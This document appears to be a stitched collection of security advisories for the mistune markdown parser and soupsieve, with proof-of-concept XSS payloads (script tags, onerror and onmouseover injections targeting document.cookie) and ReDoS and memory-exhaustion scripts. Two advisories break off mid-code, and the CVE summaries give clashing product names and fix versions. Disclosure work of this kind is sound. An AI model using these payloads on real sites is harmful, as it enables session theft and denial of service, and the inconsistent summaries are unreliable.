CVE-2026-115355 is a vulnerability in the Mistune markdown parser's Include directive that allows path traversal and cross-site scripting (XSS). The directive does not properly validate file paths, enabling attackers to read arbitrary files via '../' sequences. Additionally, error messages and included file contents are rendered without HTML escaping, causing XSS even when escaping is enabled. This vulnerability affects versions >=1.3.0 and <1.4.0_6 of the adr-viewer product. A fix is available in version 1.4.0_6.
## Summary
The mistune math plugin renders inline math (`$...$`) and block math (`$$...$$`) by concatenating the raw user-supplied content directly into the HTML output **without any HTML escaping**. This occurs even when the parser is explicitly created with `escape=True`, which is supposed to guarantee that all user-controlled text is sanitised before reaching the DOM.
The result is a silent contract violation: a developer who enables `escape=True` reasonably expects complete XSS protection, but the math plugin operates as an independent render path that ignores the renderer's `_escape` flag entirely.
## Details
**File:** `src/mistune/plugins/math.py`
```python
def render_inline_math(renderer, text):
# `text` is raw user input — no escape() call anywhere
return r'<span class="math">\(' + text + r"\)</span>"
def render_block_math(renderer, text):
# same issue for block-level $$...$$
return '<div class="math">$$\n' + text + "\n$$</div>\n"
```
Both functions take `text` directly from the parsed token and concatenate it into the output string. Neither function:
- calls `escape(text)` from `mistune.util`
- checks `renderer._escape`
- calls `safe_entity(text)` or any other sanitisation helper
The `escape=True` flag only influences the main `HTMLRenderer` methods (`paragraph`, `heading`, `codespan`, etc.). Plugin render functions registered via `md.renderer.register()` receive the `renderer` instance but have no mechanism that enforces the escape contract - they must opt in manually, and `math.py` does not.
## PoC
**Step 1 — Establish the baseline (escape=True works for plain HTML)**
The script creates a markdown parser with `escape=True` and the math plugin enabled, then feeds it a raw `<script>` tag that is *not* inside math delimiters:
```python
md = create_markdown(escape=True, plugins=["math"])
bl_src = "<script>alert(document.cookie)</script>\n"
bl_out = str(md(bl_src))
```
Expected and actual output — the script tag is correctly escaped:
```html
<p><script>alert(document.cookie)</script></p>
```
This confirms `escape=True` is working for the normal render path.
**Step 2 — Craft the exploit payload**
Wrap the identical `<script>` payload inside inline math delimiters `$...$`. The content is token-extracted as `text` and handed to `render_inline_math()`:
```python
ex_src = "$<script>alert(document.cookie)</script>$\n"
ex_out = str(md(ex_src))
```
**Step 3 — Observe the bypass**
Actual output — the script tag is emitted raw, unescaped:
```html
<p><span class="math">\(<script>alert(document.cookie)</script>\)</span></p>
```
The `<script>` block is live inside the `<span class="math">` wrapper. Any browser that renders this HTML will execute `alert(document.cookie)`.
**Step 4 — Block math variant (`$$...$$`)**
The same bypass applies to block-level math. Payload:
```
$$
<img src=x onerror="alert(document.cookie)">
$$
```
Output:
```html
<div class="math">$$
<img src=x onerror="alert(document.cookie)">
$$</div>
```
The `onerror` handler fires as soon as the browser tries to load the non-existent image `x`.
### Script
A verification script was written to test this issue. It creates a HTML page showing the bypass rendering in the browser.
```python
#!/usr/bin/env python3
"""H1: Math plugin bypasses escape=True — HTML inside $...$ passes through raw."""
import os, html as h
from mistune import create_markdown
md = create_markdown(escape=True, plugins=["math"])
# --- baseline ---
bl_file = "baseline_h1.md"
bl_src = "<script>alert(document.cookie)</script>\n"
with open(os.path.join(os.getcwd(), bl_file), "w") as f:
f.write(bl_src)
bl_out = str(md(bl_src))
print(f"[{bl_file}]\n{bl_src}")
print("[output — escape=True works normally here]")
print(bl_out)
# --- exploit ---
ex_file = "exploit_h1.md"
ex_src = "$<script>alert(document.cookie)</script>$\n"
with open(os.path.join(os.getcwd(), ex_file), "w") as f:
f.write(ex_src)
ex_out = str(md(ex_src))
print(f"[{ex_file}]\n{ex_src}")
print("[output — escape=True bypassed inside math delimiters]")
print(ex_out)
# --- HTML report ---
CSS = """
body{font-family:-apple-system,sans-serif;max-width:1200px;margin:40px auto;background:#f0f0f0;color:#111;padding:0 24px}
h1{font-size:1.3em;border-bottom:3px solid #333;padding-bottom:8px;margin-bottom:4px}
p.desc{color:#555;font-size:.9em;margin-top:6px}
.case{margin:24px 0;border-radius:8px;overflow:hidden;border:1px solid #ccc;box-shadow:0 1px 4px rgba(0,0,0,.1)}
.case-header{padding:10px 16px;font-weight:bold;font-family:monospace;font-size:.85em}
.baseline .case-header{background:#d1fae5;color:#065f46}
.exploit .case-header{background:#fee2e2;color:#7f1d1d}
.panels{display:grid;grid-template-columns:1fr 1fr;background:#fff}
.panel{padding:16px}
.panel+.panel{border-left:1px solid #eee}
.panel h3{margin:0 0 8px;font-size:.68em;color:#888;text-transform:uppercase;letter-spacing:.07em}
pre{margin:0;padding:10px;background:#f6f6f6;border:1px solid #e0e0e0;border-radi
## Summary
`HTMLRenderer.heading()` builds the opening `<hN>` tag by string-concatenating the `id` attribute value directly into the HTML — with no call to `escape()`, `safe_entity()`, or any other sanitisation function. A double-quote character `"` in the `id` value terminates the attribute, allowing an attacker to inject arbitrary additional attributes (event handlers, `src=`, `href=`, etc.) into the heading element.
The default TOC hook assigns safe auto-incremented IDs (`toc_1`, `toc_2`, …) that never contain user text. However, the `add_toc_hook()` API accepts a caller-supplied `heading_id` callback. Deriving heading IDs from the heading text itself — to produce human-readable slug anchors like `#installation` or `#getting-started` — is by far the most common real-world usage of this callback (every major documentation generator does this). When the callback returns raw heading text, an attacker who controls heading content can break out of the `id=` attribute.
## Details
**File:** `src/mistune/renderers/html.py`
```python
def heading(self, text: str, level: int, **attrs: Any) -> str:
tag = "h" + str(level)
html = "<" + tag
_id = attrs.get("id")
if _id:
html += ' id="' + _id + '"' # ← _id is never escaped
return html + ">" + text + "</" + tag + ">\n"
```
The `text` body (line content) *is* escaped upstream by the inline token renderer, which is why `text` arrives as `"` etc. But `_id` arrives as a raw string directly from whatever the `heading_id` callback returned — no escaping occurs at any point in the pipeline.
## PoC
**Step 1 — Establish the baseline (safe default IDs)**
The script creates a parser with `escape=True` and the default `add_toc_hook()` (no custom `heading_id` callback). The default hook generates sequential numeric IDs:
```python
md_safe = create_markdown(escape=True)
add_toc_hook(md_safe) # default: heading_id produces toc_1, toc_2, …
bl_src = "## Introduction\n"
bl_out, _ = md_safe.parse(bl_src)
```
Output — ID is auto-generated, no user text appears in it:
```html
<h2 id="toc_1">Introduction</h2>
```
**Step 2 — Add the realistic trigger: a text-based `heading_id` callback**
Deriving an anchor ID from the heading text is the standard real-world pattern (slugifiers, `mkdocs`, `sphinx`, `jekyll` all do this). The PoC uses the simplest possible version — return the raw heading text unchanged — to show the vulnerability without any extra transformation:
```python
def raw_id(token, index):
return token.get("text", "") # returns raw heading text as the ID
md_vuln = create_markdown(escape=True)
add_toc_hook(md_vuln, heading_id=raw_id)
```
**Step 3 — Craft the exploit payload**
Construct a heading whose text contains a double-quote followed by an injected attribute:
```
## foo" onmouseover="alert(document.cookie)" x="
```
When `raw_id` is called, `token["text"]` is `foo" onmouseover="alert(document.cookie)" x="`. This is passed verbatim to `heading()` as the `id` attribute value.
**Step 4 — Observe attribute breakout in the output**
```python
ex_src = '## foo" onmouseover="alert(document.cookie)" x="\n'
ex_out, _ = md_vuln.parse(ex_src)
```
Actual output:
```html
<h2 id="foo" onmouseover="alert(document.cookie)" x="">foo" onmouseover="alert(document.cookie)" x="</h2>
```
Note: the heading **body text** is correctly escaped (`"`), but the **`id=` attribute** is not. A user who moves their mouse over the heading triggers `alert(document.cookie)`. Any JavaScript payload can be substituted.
### Script
A verification script was created to verify this issue. It creates a HTML page showing the bypass rendering in the browser.
```python
#!/usr/bin/env python3
"""H2: HTMLRenderer.heading() inserts the id= value verbatim — no escaping."""
import os, html as h
from mistune import create_markdown
from mistune.toc import add_toc_hook
def raw_id(token, index):
return token.get("text", "")
# --- baseline ---
md_safe = create_markdown(escape=True)
add_toc_hook(md_safe)
bl_file = "baseline_h2.md"
bl_src = "## Introduction\n"
with open(os.path.join(os.getcwd(), bl_file), "w") as f:
f.write(bl_src)
bl_out, _ = md_safe.parse(bl_src)
print(f"[{bl_file}]\n{bl_src}")
print("[output — id=toc_1, no user content, safe]")
print(bl_out)
# --- exploit ---
md_vuln = create_markdown(escape=True)
add_toc_hook(md_vuln, heading_id=raw_id)
ex_file = "exploit_h2.md"
ex_src = '## foo" onmouseover="alert(document.cookie)" x="\n'
with open(os.path.join(os.getcwd(), ex_file), "w") as f:
f.write(ex_src)
ex_out, _ = md_vuln.parse(ex_src)
print(f"[{ex_file}]\n{ex_src}")
print("[output — heading_id returns raw text, id= not escaped]")
print(ex_out)
# --- HTML report ---
CSS = """
body{font-family:-apple-system,sans-serif;max-width:1200px;margin:40px auto;background:#f0f0f0;color:#111;padding:0 24px}
h1{font-size:1.3em;border-bottom:3px solid #333;padding-bottom:8px;margin-bottom:4px}
p.desc{color:#555;font-size:
### Summary
The CSS selector parser in soupsieve (the CSS selector engine for Beautiful Soup 4) contains a regular expression vulnerable to catastrophic backtracking. When processing an attribute selector with an unterminated quoted value, the `VALUE` regex pattern in `css_parser.py` enters exponential backtracking. A payload of only **300 bytes** causes the regex engine to hang for **over 3 seconds**, enabling a trivial Regular Expression Denial of Service (ReDoS) attack.
To be completely transparent, AI tools helped surface this issue. However, this was independently reproduced and carefully validated.
Any application that passes untrusted CSS selector strings to `soupsieve.compile()` or Beautiful Soup's `.select()` / `.select_one()` is affected.
### Details
**Affected code:** `soupsieve/css_parser.py`, line ~121 - `RE_VALUES` / `VALUE` regex pattern
The soupsieve CSS parser uses a compiled regular expression to tokenise attribute selector values. This pattern matches both quoted strings (`"value"` or `'value'`) and unquoted identifiers. The regex contains alternation branches for:
1. Double-quoted strings: `"[^"\\]*(?:\\.[^"\\]*)*"`
2. Single-quoted strings: `'[^'\\]*(?:\\.[^'\\]*)*'`
3. Unquoted identifiers
When an attribute selector contains an **unterminated quoted value** - e.g., `[a="xxxx...` (opening `"` but no closing `"`) -” the regex engine attempts to match the quoted-string branch. After that branch fails (no closing quote), the engine backtracks and attempts to match the remaining input against subsequent alternation branches and parent patterns. The structure of the pattern causes **catastrophic backtracking** where the number of backtracking steps grows exponentially with the length of the content between the opening quote and the end of the string.
**Root cause:** The regex pattern does not anchor or guard against the case where a quoted string is never terminated. The overlapping character classes across alternation branches create exponential backtracking when the quoted-string branch fails on long input.
**Key characteristics:**
- **Input size:** Only 300 bytes are needed to trigger a >3 second hang
- **Amplification:** Each additional character approximately doubles the backtracking time
- **No memory impact:** The attack consumes CPU only (regex backtracking is compute-bound)
### Proof of Concept
```python
import time
import soupsieve as sv
PAYLOAD_LEN = 300
# Control: well-formed selector with terminated quote (completes instantly)
well_formed = '[a="' + ('x' * PAYLOAD_LEN) + '"]'
start = time.perf_counter()
try:
sv.compile(well_formed)
except Exception:
pass
control_time = time.perf_counter() - start
print(f"Well-formed selector ({len(well_formed)} bytes): {control_time:.4f}s")
# Exploit: unterminated quote triggers catastrophic regex backtracking
malformed = '[a="' + ('x' * PAYLOAD_LEN)
start = time.perf_counter()
try:
sv.compile(malformed) # WARNING: This will hang for >3 seconds
except Exception:
pass
exploit_time = time.perf_counter() - start
print(f"Malformed selector ({len(malformed)} bytes): {exploit_time:.4f}s")
slowdown = exploit_time / max(control_time, 1e-9)
print(f"Slowdown: {slowdown:.0f}x")
# Expected output:
# Well-formed selector (306 bytes): ~0.001s
# Malformed selector (304 bytes): >3.0s (may need to be killed)
# Slowdown: >3000x
#
# NOTE: On some systems the malformed selector may hang indefinitely.
# Use a timeout mechanism (signal.alarm, threading.Timer) when testing.
```
**Safe testing variant with timeout:**
```python
import signal
import soupsieve as sv
def timeout_handler(signum, frame):
raise TimeoutError("ReDoS confirmed: regex backtracking exceeded timeout")
PAYLOAD_LEN = 300
malformed = '[a="' + ('x' * PAYLOAD_LEN)
signal.signal(signal.SIGALRM, timeout_handler)
signal.alarm(3) # 3-second timeout
try:
sv.compile(malformed)
print("Selector compiled (not vulnerable)")
except TimeoutError as e:
print(f"VULNERABLE: {e}")
except Exception as e:
print(f"Other error: {e}")
finally:
signal.alarm(0) # Cancel the alarm
```
### Impact
**Severity: High**
An attacker can cause CPU exhaustion on any server-side Python application that compiles user-supplied CSS selectors via soupsieve. The attack is particularly dangerous because:
1. **Tiny payload:** Only 300 bytes are needed - well within typical URL parameter, form field, or API request limits
2. **No special characters:** The payload consists entirely of printable ASCII characters (`[a="xxx...`)
3. **Exponential scaling:** Each additional byte approximately doubles the backtracking time, making the attack easily tuneable
4. **Thread blocking:** The regex engine blocks the calling thread with no opportunity for interruption (except via OS signals)
| Parameter | Value |
|---|---|
| Input size | 300 bytes |
| CPU time consumed | >3 seconds (exponential with payload length) |
| Memory consumed | Negligible (CPU-only attack) |
| Authentication requir
### Summary
The CSS selector parser in soupsieve (the CSS selector engine for Beautiful Soup 4) allocates unbounded memory when compiling large comma-separated selector lists. An attacker who can supply a crafted CSS selector string to `soupsieve.compile()` or Beautiful Soup's `.select()` / `.select_one()` can cause the application to allocate hundreds of megabytes of heap memory from a relatively small input, leading to memory exhaustion and denial of service.
To be completely transparent, AI tools helped surface this issue. However, it was independently reproduced and carefully validated. Researchers follow responsible disclosure practices and originally shared this report privately.
A **500 KB** selector string triggers allocation of approximately **244 MB** of heap memory - a 488x— amplification ratio**.
### Details
**Affected code:** `soupsieve/css_parser.py`, lines ~204, 925, 1106
The soupsieve CSS parser splits comma-separated selector lists and creates one `CSSSelector` object per list item. Each `CSSSelector` object contains parsed selector data structures including `SelectorList`, `Selector`, and associated tag/attribute/pseudo-class metadata.
When a selector string such as `a,a,a,...` (with 250,000 comma-separated items) is passed to `sv.compile()`, the parser:
1. Tokenises the entire string and identifies each comma-delimited segment (line ~1106)
2. Parses each segment into a full `Selector` object with all associated metadata (line ~925)
3. Stores all parsed selectors in a `SelectorList` (line ~204)
**Root cause:** No limit is enforced on the number of selectors in a comma-separated list. The parser will attempt to parse and store an arbitrary number of selectors, with each selector object consuming approximately **976 bytes** of heap memory. The total allocation scales linearly with the number of list items, but the amplification ratio (output memory / input bytes) is extremely high because each single-character selector like `a` expands into a complex object graph.
**Attack surface:** Any application that passes user-supplied CSS selectors to `soupsieve.compile()` or Beautiful Soup's `.select()` / `.select_one()`.
### Proof of Concept
```python
import tracemalloc
import soupsieve as sv
tracemalloc.start()
# Build a 500 KB selector string: "a,a,a,...,a" (250,000 items)
count = 250_000
selector = ",".join("a" for _ in range(count))
print(f"Selector string size: {len(selector):,} bytes ({len(selector) / 1024:.0f} KB)")
# Compile the selector — this allocates ~244 MB
compiled = sv.compile(selector)
current, peak = tracemalloc.get_traced_memory()
tracemalloc.stop()
print(f"Compiled selector count: {len(compiled.selectors):,}")
print(f"Current memory: {current / 1024 / 1024:.1f} MB")
print(f"Peak memory: {peak / 1024 / 1024:.1f} MB")
print(f"Amplification ratio: {peak / len(selector):.0f}x")
# Expected output:
# Selector string size: 499,999 bytes (488 KB)
# Compiled selector count: 250,000
# Current memory: ~244 MB
# Peak memory: ~244 MB
# Amplification ratio: ~488x
```
### Impact
**Severity: High**
An attacker can exhaust available memory on any server-side Python application that compiles user-supplied CSS selectors via soupsieve. This can cause:
- **OOM kills** in containerised deployments (Kubernetes pods, Docker containers) with memory limits
- **Swap thrashing** on bare-metal servers, degrading performance for all co-located processes
- **Process termination** via Python's `MemoryError` exception if the system runs out of addressable memory
| Parameter | Value |
|---|---|
| Input size | ~500 KB selector string |
| Memory allocated | ~244 MB |
| Amplification ratio | ~488× |
| Per-object overhead | ~976 bytes per selector |
| Authentication required | None |
| User interaction required | None |
**Scalability of attack:** The memory allocation scales linearly - doubling the selector count doubles memory usage. An attacker can tune the payload to exactly exhaust a target's memory limits. Multiple concurrent requests multiply the effect.
**Downstream exposure:** soupsieve is an automatic dependency of `beautifulsoup4`, one of the most widely installed Python packages. Any web application accepting CSS selectors from users (e.g., web scraping APIs, content filtering tools, CMS preview features) is potentially affected.
---
### Credit
Discovered by a security research team from the University of Sydney, focused on detecting open source software vulnerabilities.
Liyi Zhou: https://lzhou1110.github.io/
Ziyue Wang: https://zyy0530.github.io/
Strick: https://str1ckl4nd.github.io/
Maurice: https://maurice.busystar.org/
Chenchen Yu: https://7thparkk.github.io/
This update for python-mistune fixes the following issues
- CVE-2026-59922: quadratic-time parsing on long runs of some markers in `formatting.py` can lead to DoS (bsc#1271117).
- CVE-2026-59923: `HTMLRenderer.safe_url()` does not block percent-encoded javascript URIs and allows for XSS
(bsc#1271119).
- CVE-2026-59924: improper processing of user-supplied include paths in `Include.parse()` can lead to path traversal
and arbitrary file reads (bsc#1271121).
- CVE-2026-59925: quadratic-time parsing on long runs of some emphasis pairs in `inline_parser` can lead to DoS
(bsc#1271125).
- CVE-2026-59926: improper escaping in `render_admonition()` can lead to atribute injection and XSS (bsc#1271127).
- CVE-2026-59927: uncontrolled recursion when processing two markdown files that include each other can lead to a DoS
(bsc#1271128).
- CVE-2026-59928: quadratic-time parsing on long lists of repeated reference-link definitions in `block_parser` can
lead to DoS (bsc#1271131).
- CVE-2026-59929: HARMFUL_PROTOCOLS list misses legacy and chained schemes and allow arbitrary script execution in
user agents (bsc#1271132).
- CVE-2026-59930: the `toc` plugin and `TableOfContents` directive generate heading IDs with predictable values and
allow for collisions with attacker-controlled `id="toc_N"` content (bsc#1271082).
Mistune versions prior to 1.4.0_6 and 5.1.2_4 contain a denial of service vulnerability due to quadratic-time parsing when processing long sequences of repeated markdown markers. This leads to excessive CPU usage when rendering crafted inputs. A patch is available to fix this issue.
CVE-2026-59923 is a cross-site scripting (XSS) vulnerability in the Mistune Markdown rendering library's safe_url() function prior to version 3.3.0. The flaw arises because the function does not decode percent-encoded characters before validating URL schemes, allowing attackers to bypass the javascript: URI filter. This can result in arbitrary JavaScript execution when a user interacts with a crafted Markdown link or image. A patch is available in versions 1.4.0_6 and 5.1.2_4 to address this issue. The vulnerability is rated medium severity with a CVSS score of 6.1.
CVE-2026-59924 is a medium severity path traversal vulnerability in the mistune library's Include directive used by the recon-ng tool, specifically in adr-viewer when processing markdown files. It allows crafted include paths to read arbitrary files outside the intended markdown directory due to improper validation of resolved file paths. A fix is available that validates the resolved path before file access to prevent this issue.
CVE-2026-59925 is a denial-of-service vulnerability in the mistune markdown parser used by the adr-viewer product. It affects mistune versions prior to 3.3.0 and is triggered by parsing long sequences of double-asterisk or triple-asterisk emphasis pairs, causing quadratic-time parsing and excessive CPU usage. A patch is available that limits unmatched opening emphasis markers to restore linear-time parsing.
CVE-2026-59926 is a cross-site scripting (XSS) vulnerability in the Adr viewer's Mistune component used by recon-ng. The flaw stems from improper escaping of the Admonition directive's class option before it is inserted into the HTML class attribute. Although the directive name is validated, the class option is not sanitized, allowing injection of malicious code. Multiple specific versions of recon-ng are affected. A patch fixing this issue is available in versions 1.4.0_6 and 5.1.2_4.
CVE-2026-59927 is a medium severity vulnerability in the mistune markdown renderer's Include directive. It allows uncontrolled recursion through mutual inclusion of markdown files, leading to unbounded recursion and a Python RecursionError that crashes the renderer, causing denial of service. The vulnerability occurs because the directive detects only direct self-inclusion but not indirect inclusion cycles. A patch is available that fixes this issue by tracking included files to prevent recursive cycles.
CVE-2026-59928 is a denial-of-service vulnerability in the Mistune markdown parser used by recon-ng. The vulnerability arises from quadratic-time parsing when processing markdown documents containing many repeated or distinct reference-link definitions, which can exhaust CPU resources. A patch is available that changes the parsing logic to linear time, mitigating the issue.
CVE-2026-59929 is a medium severity vulnerability in the safe_url filter of the Mistune markdown renderer used by the adr-viewer component of recon-ng. The filter fails to block several legacy and chained URL schemes such as feed:, livescript:, view-source:, jar:, ms-its:, and mk:@MSITStore:, allowing attacker-controlled URLs with these schemes to bypass filtering. This can potentially lead to JavaScript execution in some vulnerable browsers. A patch is available to fix this issue.
Mistune versions prior to 1.4.0_6 and 5.1.2_4 have a vulnerability in the toc plugin and TableOfContents directive where heading IDs are generated as predictable numeric values without slugifying the heading text. This can lead to ID collisions that may cause navigation hijacking, incorrect CSS/JS selector application, and broken accessibility associations. A patch is available to address this medium severity issue.